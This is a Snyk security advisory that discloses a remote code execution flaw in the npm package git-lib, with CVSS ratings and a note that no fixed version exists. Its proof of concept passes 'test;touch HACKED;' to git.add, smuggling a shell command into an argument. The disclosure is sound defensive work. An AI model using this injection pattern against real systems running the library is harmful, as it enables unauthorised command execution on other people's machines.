Remote Code Execution (RCE) Affecting git-lib package, versions *
Snyk CVSS
Attack Complexity
High
Privileges Required
High
Confidentiality
High
Integrity
High
Availability
High
Threat Intelligence
Exploit Maturity
Proof of concept
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Test your applications- Snyk ID SNYK-JS-GITLIB-1012734
- published 25 Sep 2020
- disclosed 24 Sep 2020
- credit mik317
How to fix?
There is no fixed version for git-lib
.
Overview
git-lib is an a library with different git commands for uses.
Affected versions of this package are vulnerable to Remote Code Execution (RCE). A user input is formatted inside a command that will be executed without any check.
PoC by mik317
- Create the following PoC file:
// poc.js
var git = require("git-lib");
git.add("test;touch HACKED;").then(function(){
/** successfully added /
}).catch(function(err){
/ unsuccessful **/
});
- Check there aren't files called
HACKED
- Execute the following commands in another terminal:
npm i git-lib # Install affected module
git init # Avoid problems with *git*
node poc.js # Run the PoC
- Recheck the files: now
HACKED
has been created